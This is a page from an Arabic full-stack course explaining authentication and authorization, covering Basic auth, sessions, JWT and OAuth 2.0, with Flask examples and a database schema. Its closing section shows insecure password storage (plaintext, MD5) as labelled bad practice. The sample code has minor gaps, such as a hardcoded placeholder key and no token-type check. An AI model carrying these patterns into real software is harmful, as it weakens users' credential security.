Skip to content
Main Navigation الرئيسيةمبتدأ & PMتطوير Full Stackتطوير متقدمملحق

العربية

简体中文
English
日本語
繁體中文
한국어
Español
Français
Deutsch
Tiếng Việt

العربية

简体中文
English
日本語
繁體中文
한국어
Español
Français
Deutsch
Tiếng Việt

Appearance

Sidebar Navigation

I. أساسيات الحاسوب

التطوير الشامل (Fullstack) في عصر Vibe Coding

ماذا يحدث من لحظة الضغط على زر الطاقة إلى زيارة موقع ويب

من الترانزستورات إلى المعالج

مبادئ تنظيم الحاسوب

نظام التشغيل: توظيف "مدير كبير" لحاسوبك

ما هي ترميز البيانات ونقلها؟

المتصفح هو نظام تشغيل

هياكل البيانات

مدخل إلى التفكير الخوارزمي

خريطة لغات البرمجة

مدخل إلى مبادئ الترجمة البرمجية

مدخل إلى نظام الأنواع

II. الأدوات والبيئة

أساسيات بيئة التطوير المتكاملة (IDE)

سطر الأوامر وسكربتات Shell

Git: آلة الزمن للكود

متغيرات البيئة و PATH

المنافذ و localhost

SSH والمصادقة بالمفاتيح

مديروا الحزم

فن التصحيح (Debugging)

التعبيرات النمطية (Regex)

III. المتصفح والواجهة الأمامية

دليل JavaScript المتعمق

دليل TypeScript المتعمق

دليل متعمق لأطر العمل الأمامية

أنبوب عرض المتصفح (Browser Rendering Pipeline)

نظام تخطيط HTML / CSS

دليل متعمق لوقت تشغيل JavaScript

جوهر أُطُر العمل الأمامية

فلسفة إدارة الحالة

التوجيه والتنقل

الرسوميات والرسوم المتحركة (Canvas وأصدقاؤه)

آليات الاتصال في الوقت الفعلي (Polling / SSE / WebSocket)

قياس أداء الويب وتحسينه

الصورة الكاملة لهندسة الواجهات الأمامية

تصميم هيكلة مشاريع الواجهة الأمامية

البعد الخفي للويب: التدويل وإمكانية الوصول

IV. الخادم والواجهة الخلفية

مقارنة لغات الواجهة الخلفية

لغات العميل (Swift / Kotlin / Dart)

حلول متعددة المنصات (React Native / Flutter / Electron / Tauri)

بروتوكول HTTP: "لغة التواصل" بين الواجهة الأمامية والخلفية

الرحلة الكاملة لطلب واحد

جوهر أطر عمل الويب

مقدمة إلى API: فهم "الحوار بين البرامج" من الصفر

تصميم API: "بروتوكول الحوار" بين الواجهة الأمامية والخلفية

التسلسل: "ترجمة" البيانات

نظام المصادقة والترخيص

التزامن، غير المتزامن، وتعدد الخيوط

مستويات واستراتيجيات التخزين المؤقت

طوابير الرسائل والبنية المدفوعة بالأحداث

طوابير المهام غير المتزامنة ونموذج المنتج-المستهلك

تحديد المعدل والتحكم في الضغط العكسي

مبادئ محركات البحث

تخزين الملفات وتخزين الكائنات

هندسة الواجهة الخلفية متعددة الطبقات

تصميم هيكل مشروع الواجهة الخلفية

لغات النطاق المحدد (DSL): "الكود الذي لا يشبه الكود" في عالم الخلفية

V. البيانات

أساسيات قواعد البيانات (الفهارس / المعاملات / تحسين الاستعلامات)

بانوراما نماذج البيانات (وثائقي / رسم بياني / سلسلة زمنية / متجهي)

تتبع البيانات: تسجيل ما يفعله المستخدمون في التطبيق

تحليل البيانات: المفاهيم الأساسية والمنطق والرؤى العميقة

اختبارات A/B: اتخاذ القرارات بالبيانات

تصوير البيانات ولوحات المعلومات

حوكمة البيانات وجودتها

VI. المعمارية

التطور من التطبيق المتجانب إلى الخدمات المصغرة

تحديات الأنظمة الموزعة

التوافر العالي والتعافي من الكوارث

منهجية تصميم الأنظمة

VII. البنية التحتية

أساسيات Linux

حاويات Docker

تنسيق Kubernetes

أتمتة CI / CD

أسماء النطاقات وDNS وHTTPS

موازنة الأحمال والبوابات

البوابة والوكيل العكسي (Gateway & Reverse Proxy)

منصات الحوسبة السحابية: دليل عملي

إدارة الهوية والوصول في السحابة

التخزين الكائني وشبكات CDN

البنية التحتية ككود

المراقبة والسجلات والتنبيهات

استكشاف الأعطال والاستجابة للطوارئ

VIII. الذكاء الاصطناعي

تاريخ موجز للذكاء الاصطناعي: من المنطق الرمزي إلى النماذج الضخمة بمئات المليارات من المعاملات

الشبكات العصبية والتعلم العميق

Transformer وآلية الانتباه: المحرك الأساسي للنماذج الكبيرة

مبادئ عمل نماذج اللغة الكبيرة

هندسة التوجيه (Prompt Engineering)

هندسة السياق

النماذج متعددة الوسائط (الرؤية / الصوت / الفيديو)

مبادئ توليد الصور

مبادئ تركيب الصوت والتعرف عليه

Embedding والاسترجاع المتجهي

RAG: التوليد المعزز بالاسترجاع

وكيل الذكاء الاصطناعي واستدعاء الأدوات

بروتوكولات وكيل الذكاء الاصطناعي (MCP و A2A)

الضبط الدقيق للنماذج والنشر

تصميم التطبيقات الأصلية للذكاء الاصطناعي

قاموس قدرات الذكاء الاصطناعي

IX. جودة الهندسة

جودة الكود وإعادة البناء

استراتيجيات الاختبار

أنماط التصميم

التفكير الأمني وأساسيات الهجوم والدفاع

كتابة التوثيق التقني

التعاون في المصدر المفتوح

منهجية الاختيار التقني

تنقل الصفحة

نظام المصادقة والترخيص ​

💡 دليل التعلم: يأخذك هذا الفصل في رحلة عميقة لفهم "نظام التحكم في الدخول" للأنظمة الخلفية — المصادقة والترخيص. سنبدأ من الأساسيات "من أنت"، ونتقدم خطوة بخطوة لإتقان حلول المصادقة الحديثة مثل Session و JWT و OAuth 2.0.

🧭 Authentication Evolution: From Basic to OAuth2
Click a card to build intuition for which scenario fits which approach.
🍪 Session + Cookie
The server stores the session, and the browser stores a session_id cookie. Later requests attach the cookie automatically.
✅ Good fit
  • Server can actively revoke sessions
  • Excellent fit for same-origin SSR
  • Mature operational model
⚠️ Main risks
  • Server-side state must be shared or scaled
  • Higher CSRF risk without defenses
  • Cross-origin flows are more complex
POST /login
→ Set-Cookie: session_id=abc; HttpOnly; Secure; SameSite=Lax

GET /api/profile
Cookie: session_id=abc

0. المقدمة: "التحكم في الدخول" للنظام ​

لماذا تظل مسجلاً دخولك في WeChat بعد إغلاقه وفتحه مرة أخرى؟ عند زيارتك لـ Bilibili، كيف يعرف الموقع ما إذا كنت عضواً مميزاً أم مستخدماً عادياً؟ عند تسجيل دخولك لمواقع الطرف الثالث باستخدام رمز WeChat، لماذا لا تحتاج لإدخال كلمة المرور؟

وراء كل هذا يوجد نظام أساسي واحد: المصادقة والترخيص (Authentication & Authorization).

إذا شبهنا النظام الخلفي بمبنى كبير:

  • المصادقة (Authentication): التحقق من "من أنت" (التحقق من بطاقة الهوية / بطاقة الدخول).
  • الترخيص (Authorization): التحقق من "إلى أين يمكنك الذهاب" (يمكن لحامل بطاقة VIP دخول صالة VIP، بينما لا يستطيع المستخدم العادي).

0.1 لماذا نحتاج إلى المصادقة؟ ​

هناك سبب واحد فقط: حماية الموارد.

  • حماية الخصوصية: معلوماتك الشخصية وسجل المحادثات، لا يمكن لأحد غيرك الاطلاع عليها.
  • التحكم في الصلاحيات: يمكن للمسؤول حذف المستخدمين، بينما لا يستطيع المستخدم العادي ذلك.
  • منع الإساءة: منع الاستدعاءات الخبيثة وهجمات استنزاف الواجهات البرمجية (API).
🧰 Four Common Authentication Credentials
Choose a method to see what the request looks like, where it fits, and the common pitfalls.
What the request looks like
GET /api/profile
Authorization: Basic <base64(username:password)>
Base64 is not encryption. Use HTTPS, and avoid it for public production systems.
When to use it, and when not to
✅ Good fit
  • Very simple and supported by every client
  • Useful for internal or temporary debugging tools
⚠️ Poor fit / risks
  • Sends the password on every request, which is risky
  • No real logout unless the server changes the password
  • Not a good fit for modern product systems
Rule of thumb
Authenticate first, then authorize. Credentials only prove identity; authorization must always be enforced on the server.

0.2 عرض تفاعلي: عملية تسجيل الدخول ​

دعنا نفهم كيفية عمل المصادقة والترخيص من خلال عرض توضيحي حقيقي لتسجيل الدخول.

🔐 Authentication Flow Demo
Simulate login to understand the difference between authentication and authorization.
Choose auth method:
Login form
💡 Tip
Try username admin,password 123456
📊 Data Flow Visualization

النقطة الأساسية: المصادقة هي خط الدفاع الأول، ويجب التحقق من الهوية قبل جميع العمليات الحساسة.


1. المفاهيم الأساسية: المصادقة مقابل الترخيص ​

1.1 المصادقة (Authentication): من أنت؟ ​

التحقق من هوية المستخدم.

  • مثال: إدخال اسم المستخدم وكلمة المرور، مسح البصمة، التعرف على الوجه.
  • المخرج: رمز مميز (Token) يمثل "أنت".
  • الاختصار الإنجليزي: AuthN

1.2 الترخيص (Authorization): ماذا يمكنك أن تفعل؟ ​

التحقق من الصلاحيات التي يمتلكها المستخدم.

  • مثال: يمكن للمسؤول حذف المقالات، بينما يمكن للمستخدم العادي فقط الإعجاب.
  • المخرج: السماح أو رفض الوصول.
  • الاختصار الإنجليزي: AuthZ

1.3 العلاقة بينهما ​

طلب المستخدم → المصادقة (من أنت؟) → الترخيص (هل يمكنك القيام بذلك؟) → تنفيذ منطق الأعمال
                ↓                        ↓
           التحقق من الهوية         التحقق من الصلاحيات
           (هل Token صالح؟)         (هل لديه صلاحية الحذف؟)
🪪 AuthN vs 🛂 AuthZ: What Happens to a Request?
Choose who is making the request and what they want to do to see where authentication and authorization apply.
Choose request
In a real system, authentication happens first by parsing a cookie or JWT, while authorization happens in routing or business logic with RBAC/ABAC.
Simulation result
AuthN (authentication)Fail
AuthZ (authorization)Deny
HTTP401 Unauthorized
Request: view_profile
AuthN: FAIL - Missing valid credential such as cookie or JWT
AuthZ: DENY - Authentication failed, so authorization cannot be evaluated
Result: 401 Unauthorized
Key points
  • Authentication failure:the system does not know who you are, so it usually returns 401.
  • Authenticated but unauthorized:the system knows who you are, but you cannot perform the action, so it usually returns 403.
  • Authorization rules belong on the server:do not trust whether the frontend shows a button; that is only UX.

النقطة الأساسية: المصادقة أولاً، ثم الترخيص. فقط بعد التأكد من "من أنت"، يمكننا الحكم على "ماذا يمكنك أن تفعل".


2. تاريخ تطور الحلول ​

2.1 الجيل الأول: HTTP Basic Authentication ​

أقدم حل، يتم وضع اسم المستخدم وكلمة المرور مباشرة في رأس HTTP.

http
GET /api/user/profile HTTP/1.1
Host: example.com
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
                      (base64("username:password"))
  • المزايا: بسيط، مدعوم من جميع المتصفحات.
  • العيوب:
    • غير آمن (Base64 يمكن فك تشفيره، أي ما يعادل النص الواضح).
    • يجب إرسال كلمة المرور مع كل طلب (سهلة الاعتراض).
    • لا يمكن تسجيل الخروج بشكل فعال (إلا بإغلاق المتصفح).

الخلاصة: مناسب فقط لأدوات الاختبار الداخلية، ولا يستخدم أبداً في بيئة الإنتاج.

2.2 الجيل الثاني: Session + Cookie ​

الحل الكلاسيكي لتطوير الويب.

التدفق:

1. تسجيل دخول المستخدم (POST /login)
   → يتحقق الخادم من اسم المستخدم وكلمة المرور
   → إنشاء Session (في ذاكرة الخادم أو Redis)
   → إرجاع Set-Cookie: session_id=abc123

2. الطلبات اللاحقة
   → يقوم المتصفح تلقائياً بإرفاق Cookie: session_id=abc123
   → يبحث الخادم عن Session بناءً على session_id
   → إذا وجدها يعتبر أن "أنت هو أنت"

مثال على الكود:

python
# الخلفية (Python Flask)
from flask import session, request

@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password = request.json["password"]

    # التحقق من اسم المستخدم وكلمة المرور
    user = db.authenticate(username, password)
    if user:
        # إنشاء Session
        session["user_id"] = user.id
        session["role"] = user.role
        return {"status": "success"}
    else:
        return {"error": "اسم المستخدم أو كلمة المرور غير صحيحة"}, 401

@app.route("/api/admin/users")
def get_users():
    # التحقق من Session
    if "user_id" not in session:
        return {"error": "غير مسجل الدخول"}, 401

    # التحقق من الصلاحيات
    if session.get("role") != "admin":
        return {"error": "صلاحيات غير كافية"}, 403

    # تنفيذ منطق الأعمال
    users = db.get_all_users()
    return {"users": users}
🍪 Session + Cookie: Stateful Login
The demo advances manually so each state is visible before the next step.
Browser (client)
Cookie Jar
No cookie yet
Request in this step
(click start)
Server
Session Store(Redis/Memory)
No session yet
Response in this step
Workflow notes

المزايا:

  • بسيط وبديهي، سهل الفهم.
  • يمكن للخادم تسجيل الخروج بشكل فعال (حذف Session).

العيوب:

  • الخادم ذو حالة (Stateful): يحتاج لتخزين Session، وتحتاج الخوادم المتعددة للمشاركة (مثل Redis).
  • صعوبة النطاقات المتقاطعة (Cross-domain): لا يمكن لـ Cookie عبور النطاقات افتراضياً (مشكلة CORS).
  • هجمات CSRF: يمكن للمواقع الخبيثة انتحال Cookie الخاص بك.

الخلاصة: مناسب لتطبيقات الويب التقليدية (العرض من جانب الخادم)، غير مناسب للهواتف المحمولة وتطبيقات SPA الحديثة.

2.3 الجيل الثالث: Token (JWT) ​

الحل السائد في الويب الحديث.

الفكرة الأساسية: عدم تخزين الحالة في الخادم، وتشفير معلومات المستخدم في Token وحفظها في العميل.

هيكل JWT:

JWT = Header.Payload.Signature

مثال:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJhZG1pbiIsImV4cCI6MTYxNjIzOTAyMn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
 |--------------------------------| |-----------------------------------------------| |----------------------------|
           Header                           Payload                                      Signature
  • Header: معلومات الخوارزمية (مثل {"alg": "HS256", "typ": "JWT"}).
  • Payload: معلومات المستخدم (مثل {"user_id": 123, "role": "admin", "exp": 1616239022}).
  • Signature: التوقيع (لمنع التلاعب).

التدفق:

python
# 1. تسجيل دخول المستخدم
@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password = request.json["password"]

    user = db.authenticate(username, password)
    if user:
        # إنشاء JWT
        token = jwt.encode(
            {
                "user_id": user.id,
                "role": user.role,
                "exp": datetime.now() + timedelta(hours=24)  # ينتهي بعد 24 ساعة
            },
            SECRET_KEY,
            algorithm="HS256"
        )
        return {"token": token}
    else:
        return {"error": "اسم المستخدم أو كلمة المرور غير صحيحة"}, 401

# 2. الطلبات اللاحقة
@app.route("/api/admin/users")
def get_users():
    # الحصول على Token من Header
    auth_header = request.headers.get("Authorization")
    if not auth_header or not auth_header.startswith("Bearer "):
        return {"error": "لم يتم توفير Token"}, 401

    token = auth_header.split(" ")[1]

    try:
        # التحقق من Token وتحليله
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
    except jwt.ExpiredSignatureError:
        return {"error": "انتهت صلاحية Token"}, 401
    except jwt.InvalidTokenError:
        return {"error": "Token غير صالح"}, 401

    # التحقق من الصلاحيات
    if payload.get("role") != "admin":
        return {"error": "صلاحيات غير كافية"}, 403

    # تنفيذ منطق الأعمال
    users = db.get_all_users()
    return {"users": users}
🎫 JWT: Generate → Send → Verify → Decode
This demo advances manually by default so the walkthrough is not confused with a real security boundary.
User claims (payload example)
{
  "user_id": 123,
  "username": "alice",
  "role": "admin",
  "iat": 1781661580,
  "exp": 1781665180
}
Remember: a JWT payload is only Base64Url encoded. Anyone can decode it, so do not put passwords, phone numbers, or other sensitive data inside.
JWT token (illustration)
Header
...
.
Payload
...
.
Signature
...
Workflow notes

المزايا:

  • بدون حالة (Stateless): لا يخزن الخادم Session، مما يسهل التوسع الأفقي.
  • مناسب للنطاقات المتقاطعة: يوضع في Header، ولا يخضع لقيود Cookie عبر النطاقات.
  • مناسب للهواتف المحمولة: يمكن للتطبيقات الأصلية استخدامه بسهولة.
  • غني بالمعلومات: يمكن لـ Payload تخزين معلومات المستخدم والصلاحيات وغيرها.

العيوب:

  • لا يمكن تسجيل الخروج بشكل فعال: بمجرد إصدار Token، يظل صالحاً حتى انتهاء صلاحيته (إلا باستخدام القائمة السوداء).
  • Payload مرئي: ترميز Base64، لا يمكن تخزين معلومات حساسة (مثل كلمة المرور).
  • Token كبير الحجم: يجب إرفاقه مع كل طلب، يصل إلى مئات البايتات.

الخلاصة: الحل القياسي للويب الحديث والهواتف المحمولة.

🧩 Session vs JWT: How Do You Choose?
Pick your constraints and get a recommendation with reasons. This is more useful than memorizing a rule.
Your scenario
Recommendation
Session + Cookie
The safest default for traditional Web apps
Why
  • Same-site Web plus immediate logout needs are easier to control with sessions.
  • For multiple instances, use a shared session store such as Redis.
Implementation tips
  • Cookie: HttpOnly + Secure + SameSite=Lax/Strict depending on the product
  • CSRF: SameSite plus CSRF token for layered defense
  • Session store: Redis + TTL + renewal strategy such as sliding expiration
Common misconceptions
  • JWT is not automatically more secure:JWT is only stateless. Security depends on keys, expiration, storage, and authorization design.
  • Cookie does not automatically mean CSRF:SameSite plus CSRF tokens can significantly reduce risk.
  • Do not treat third-party OAuth tokens as your system tokens:They have different purposes.

3. OAuth 2.0: تسجيل الدخول عبر الطرف الثالث ​

بالتأكيد رأيت هذا الزر: "تسجيل الدخول باستخدام WeChat"، "تسجيل الدخول باستخدام Google".

هذا هو OAuth 2.0: إطار عمل ترخيص (وليس مصادقة!).

3.1 الأدوار الأساسية ​

الدورالوصفمثال
Resource Ownerمالك المورد (المستخدم)أنت
Clientتطبيق الطرف الثالثموقع ويب معين
Authorization Serverخادم الترخيصWeChat، Google
Resource Serverخادم المواردواجهة معلومات مستخدم WeChat

3.2 وضع رمز الترخيص (Authorization Code Flow) ​

الوضع الأكثر أماناً، مناسب للخوادم التي لديها خلفية.

التدفق:

1. ينقر المستخدم على "تسجيل الدخول باستخدام WeChat"
   → التوجيه إلى صفحة ترخيص WeChat
   https://open.weixin.qq.com/connect/qrconnect?
     appid=APPID&
     redirect_uri=https://yourapp.com/callback&
     response_type=code&
     scope=snsapi_login&
     state=STATE

2. يمسح المستخدم الرمز ويوافق على الترخيص
   → يعيد WeChat التوجيه إلى موقعك
   https://yourapp.com/callback?code=AUTHORIZATION_CODE&state=STATE

3. تستخدم خلفيتك code لاستبداله بـ access_token
   POST https://api.weixin.qq.com/sns/oauth2/access_token
   {
     "appid": "APPID",
     "secret": "SECRET",
     "code": "AUTHORIZATION_CODE",
     "grant_type": "authorization_code"
   }
   → يعيد: { "access_token": "...", "openid": "..." }

4. استخدام access_token للحصول على معلومات المستخدم
   GET https://api.weixin.qq.com/sns/userinfo?
     access_token=ACCESS_TOKEN&
     openid=OPENID
   → يعيد: { "nickname": "Zhang San", "headimgurl": "..." }
🔑 OAuth2: Third-Party Login with Authorization Code Flow
Walk through the common Authorization Code Flow, preferably with PKCE. The demo advances manually.
Roles
Client (your app)
Authorization Server (WeChat, Google, etc.)
Resource Server (your API)
The core idea of OAuth2: your app no longer stores the user password for the third-party service. It receives an authorization code or token and uses that to fetch user information.
What to do in this step
Click start
Request / command example
(shown after you click start)
This is an example request, not a real request sent from your computer. Replace parameters such as client_id and redirect_uri with your own values.
Four things to remember
  • redirect_uri must be allowlisted:This prevents attackers from stealing the code through their own site.
  • state must be verified:It protects against CSRF, including login CSRF.
  • code is one-time and expires quickly:This limits the impact of leakage.
  • access tokens should be short-lived and refresh tokens protected:A refresh token is more like a long-term key.

مثال على الكود:

python
from flask import request, redirect

@app.route("/login/wechat")
def login_wechat():
    # 1. التوجيه إلى صفحة ترخيص WeChat
    auth_url = (
        "https://open.weixin.qq.com/connect/qrconnect"
        f"?appid={APPID}"
        f"&redirect_uri={urlencode(REDIRECT_URI)}"
        "&response_type=code"
        "&scope=snsapi_login"
        f"&state={generate_state()}"
    )
    return redirect(auth_url)

@app.route("/callback")
def wechat_callback():
    # 2. الحصول على code
    code = request.args.get("code")
    state = request.args.get("state")

    # التحقق من state (لمنع CSRF)
    if not verify_state(state):
        return {"error": "Invalid state"}, 400

    # 3. استخدام code لاستبداله بـ access_token
    token_resp = requests.post(
        "https://api.weixin.qq.com/sns/oauth2/access_token",
        params={
            "appid": APPID,
            "secret": SECRET,
            "code": code,
            "grant_type": "authorization_code"
        }
    ).json()

    access_token = token_resp["access_token"]
    openid = token_resp["openid"]

    # 4. الحصول على معلومات المستخدم
    user_info = requests.get(
        "https://api.weixin.qq.com/sns/userinfo",
        params={
            "access_token": access_token,
            "openid": openid
        }
    ).json()

    # 5. إنشاء أو تحديث المستخدم محلياً
    user = db.get_or_create_user(
        openid=openid,
        nickname=user_info["nickname"],
        avatar=user_info["headimgurl"]
    )

    # 6. إنشاء JWT للنظام المحلي
    token = jwt.encode(
        {"user_id": user.id, "exp": ...},
        SECRET_KEY
    )

    return {"token": token}

النقاط الأساسية:

  • code يستخدم مرة واحدة فقط: يصبح غير صالح بعد الاستخدام، لمنع الاعتراض.
  • state لمنع CSRF: إنشاء سلسلة عشوائية، والتحقق منها عند إعادة الاستدعاء، لمنع تزوير المواقع الخبيثة.
  • redirect_uri يجب أن يتطابق: التسجيل المسبق في منصة WeChat المفتوحة، لمنع هجمات إعادة التوجيه.

3.3 الأوضاع الأخرى ​

الوضعالسيناريو المناسبمستوى الأمان
وضع رمز الترخيصالخوادم ذات الخلفية⭐⭐⭐⭐⭐
الوضع المبسط (Implicit)تطبيقات الواجهة الأمامية البحتة (SPA)⭐⭐⭐ (غير موصى به)
وضع كلمة المرور (Resource Owner)التطبيقات عالية الثقة (مثل التطبيق الرسمي)⭐⭐
وضع العميل (Client Credentials)الاتصال بين الخوادم (بدون مستخدم)⭐⭐⭐⭐
🔑 OAuth2: Third-Party Login with Authorization Code Flow
Walk through the common Authorization Code Flow, preferably with PKCE. The demo advances manually.
Roles
Client (your app)
Authorization Server (WeChat, Google, etc.)
Resource Server (your API)
The core idea of OAuth2: your app no longer stores the user password for the third-party service. It receives an authorization code or token and uses that to fetch user information.
What to do in this step
Click start
Request / command example
(shown after you click start)
This is an example request, not a real request sent from your computer. Replace parameters such as client_id and redirect_uri with your own values.
Four things to remember
  • redirect_uri must be allowlisted:This prevents attackers from stealing the code through their own site.
  • state must be verified:It protects against CSRF, including login CSRF.
  • code is one-time and expires quickly:This limits the impact of leakage.
  • access tokens should be short-lived and refresh tokens protected:A refresh token is more like a long-term key.

4. تطبيق عملي: تصميم نظام مصادقة كامل ​

4.1 تحليل المتطلبات ​

  • دعم متعدد المنصات: الويب، iOS، Android.
  • تسجيل الدخول عبر الطرف الثالث: WeChat، Google.
  • التحكم في الصلاحيات: مستخدم عادي، VIP، مسؤول.
  • الأمان: منع هجمات الاستنزاف، منع الاختطاف، منع إعادة التشغيل.

4.2 تصميم المعمارية ​

┌─────────────┐
│   العميل     │
└──────┬──────┘
       │
       ▼
┌─────────────────────────────────┐
│         API Gateway             │
│  - Rate Limiting (تحديد المعدل)  │
│  - Token Validation (التحقق)     │
└──────┬──────────────────────────┘
       │
       ▼
┌─────────────────────────────────┐
│      Auth Service (خدمة المصادقة) │
│  - التسجيل، تسجيل الدخول         │
│  - إصدار Token والتحقق منه       │
│  - تكامل OAuth 2.0               │
└──────┬──────────────────────────┘
       │
       ▼
┌─────────────────────────────────┐
│    Business Services             │
│  - User Service                  │
│  - Order Service                 │
│  - Payment Service               │
└─────────────────────────────────┘

4.3 تصميم قاعدة البيانات ​

sql
-- جدول المستخدمين
CREATE TABLE users (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) UNIQUE NOT NULL,
    password_hash VARCHAR(255) NOT NULL,  -- تجزئة bcrypt
    email VARCHAR(100) UNIQUE,
    role ENUM('user', 'vip', 'admin') DEFAULT 'user',
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    INDEX idx_username (username),
    INDEX idx_email (email)
);

-- جدول ربط تسجيل الدخول عبر الطرف الثالث
CREATE TABLE user_auth_providers (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    user_id BIGINT NOT NULL,
    provider ENUM('wechat', 'google', 'github') NOT NULL,
    provider_user_id VARCHAR(100) NOT NULL,  -- معرف المستخدم لدى الطرف الثالث
    access_token TEXT,  -- تخزين مشفر
    refresh_token TEXT,
    expires_at TIMESTAMP,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    UNIQUE KEY uk_provider_provider_user_id (provider, provider_user_id),
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);

-- القائمة السوداء لـ Token (لتسجيل الخروج الفعال)
CREATE TABLE token_blacklist (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    token_jti VARCHAR(100) UNIQUE NOT NULL,  -- JTI (المعرف الفريد) لـ JWT
    expired_at TIMESTAMP NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    INDEX idx_expired_at (expired_at)
);
🧭 Authentication Evolution: From Basic to OAuth2
Click a card to build intuition for which scenario fits which approach.
🍪 Session + Cookie
The server stores the session, and the browser stores a session_id cookie. Later requests attach the cookie automatically.
✅ Good fit
  • Server can actively revoke sessions
  • Excellent fit for same-origin SSR
  • Mature operational model
⚠️ Main risks
  • Server-side state must be shared or scaled
  • Higher CSRF risk without defenses
  • Cross-origin flows are more complex
POST /login
→ Set-Cookie: session_id=abc; HttpOnly; Secure; SameSite=Lax

GET /api/profile
Cookie: session_id=abc

4.4 تنفيذ الكود ​

python
# auth_service.py
import bcrypt
import jwt
from datetime import datetime, timedelta

SECRET_KEY = "your-secret-key-here"  # في بيئة الإنتاج استخدم متغيرات البيئة

class AuthService:
    def register(self, username: str, password: str, email: str = None):
        # 1. التحقق من وجود اسم المستخدم
        if db.get_user_by_username(username):
            raise ValueError("اسم المستخدم موجود بالفعل")

        # 2. تجزئة كلمة المرور (bcrypt)
        password_hash = bcrypt.hashpw(
            password.encode('utf-8'),
            bcrypt.gensalt(rounds=12)
        ).decode('utf-8')

        # 3. إنشاء المستخدم
        user = db.create_user(
            username=username,
            password_hash=password_hash,
            email=email
        )

        # 4. إصدار Token
        return self._generate_tokens(user)

    def login(self, username: str, password: str):
        # 1. البحث عن المستخدم
        user = db.get_user_by_username(username)
        if not user:
            raise ValueError("اسم المستخدم أو كلمة المرور غير صحيحة")

        # 2. التحقق من كلمة المرور
        if not bcrypt.checkpw(
            password.encode('utf-8'),
            user.password_hash.encode('utf-8')
        ):
            raise ValueError("اسم المستخدم أو كلمة المرور غير صحيحة")

        # 3. إصدار Token
        return self._generate_tokens(user)

    def _generate_tokens(self, user):
        now = datetime.now()

        # Access Token (قصير المدى، مثل ساعة واحدة)
        access_token = jwt.encode(
            {
                "user_id": user.id,
                "role": user.role,
                "type": "access",
                "iat": now,
                "exp": now + timedelta(hours=1),
                "jti": str(uuid4())  # معرف فريد
            },
            SECRET_KEY,
            algorithm="HS256"
        )

        # Refresh Token (طويل المدى، مثل 30 يوماً)
        refresh_token = jwt.encode(
            {
                "user_id": user.id,
                "type": "refresh",
                "iat": now,
                "exp": now + timedelta(days=30),
                "jti": str(uuid4())
            },
            SECRET_KEY,
            algorithm="HS256"
        )

        return {
            "access_token": access_token,
            "refresh_token": refresh_token,
            "token_type": "Bearer",
            "expires_in": 3600  # مدة صلاحية access_token (بالثواني)
        }

    def refresh(self, refresh_token: str):
        try:
            payload = jwt.decode(refresh_token, SECRET_KEY, algorithms=["HS256"])
            if payload.get("type") != "refresh":
                raise ValueError("Invalid token type")

            user = db.get_user_by_id(payload["user_id"])
            return self._generate_tokens(user)
        except jwt.ExpiredSignatureError:
            raise ValueError("انتهت صلاحية Refresh token")
        except jwt.InvalidTokenError:
            raise ValueError("Refresh token غير صالح")

    def logout(self, token: str):
        # إضافة Token إلى القائمة السوداء
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        db.add_to_blacklist(
            jti=payload["jti"],
            expired_at=datetime.fromtimestamp(payload["exp"])
        )

    def verify_token(self, token: str):
        try:
            payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])

            # التحقق مما إذا كان في القائمة السوداء
            if db.is_token_blacklisted(payload["jti"]):
                raise ValueError("تم تسجيل خروج Token")

            return payload
        except jwt.ExpiredSignatureError:
            raise ValueError("انتهت صلاحية Token")
        except jwt.InvalidTokenError:
            raise ValueError("Token غير صالح")

# مزخرف API (Decorator)
def require_auth(auth_service: AuthService):
    def decorator(f):
        def wrapper(*args, **kwargs):
            # الحصول على Token من Header
            auth_header = request.headers.get("Authorization")
            if not auth_header or not auth_header.startswith("Bearer "):
                return {"error": "لم يتم توفير Token"}, 401

            token = auth_header.split(" ")[1]

            try:
                # التحقق من Token
                payload = auth_service.verify_token(token)
                # حقن معلومات المستخدم في سياق الطلب
                request.user = payload
                return f(*args, **kwargs)
            except ValueError as e:
                return {"error": str(e)}, 401

        return wrapper
    return decorator

def require_role(*roles):
    def decorator(f):
        def wrapper(*args, **kwargs):
            if not hasattr(request, "user"):
                return {"error": "غير مسجل الدخول"}, 401

            if request.user["role"] not in roles:
                return {"error": "صلاحيات غير كافية"}, 403

            return f(*args, **kwargs)
        return wrapper
    return decorator

# مثال على الاستخدام
@app.route("/api/admin/users", methods=["GET"])
@require_auth(auth_service)
@require_role("admin")
def get_users():
    users = db.get_all_users()
    return {"users": users}

@app.route("/api/user/profile", methods=["GET"])
@require_auth(auth_service)
def get_profile():
    user = db.get_user_by_id(request.user["user_id"])
    return {"user": user}

@app.route("/auth/refresh", methods=["POST"])
def refresh_token():
    refresh_token = request.json.get("refresh_token")
    try:
        tokens = auth_service.refresh(refresh_token)
        return tokens
    except ValueError as e:
        return {"error": str(e)}, 401
🎫 JWT: Generate → Send → Verify → Decode
This demo advances manually by default so the walkthrough is not confused with a real security boundary.
User claims (payload example)
{
  "user_id": 123,
  "username": "alice",
  "role": "admin",
  "iat": 1781661580,
  "exp": 1781665180
}
Remember: a JWT payload is only Base64Url encoded. Anyone can decode it, so do not put passwords, phone numbers, or other sensitive data inside.
JWT token (illustration)
Header
...
.
Payload
...
.
Signature
...
Workflow notes

5. أفضل ممارسات الأمان ​

5.1 تخزين كلمة المرور ​

❌ الممارسة الخاطئة:

python
# تخزين النص الواضح (ممنوع تماماً!)
db.save_password(username, password)

# تجزئة MD5 / SHA1 (غير آمنة بما فيه الكفاية، سهلة الاختراق بجداول قوس قزح)
hash = md5(password)
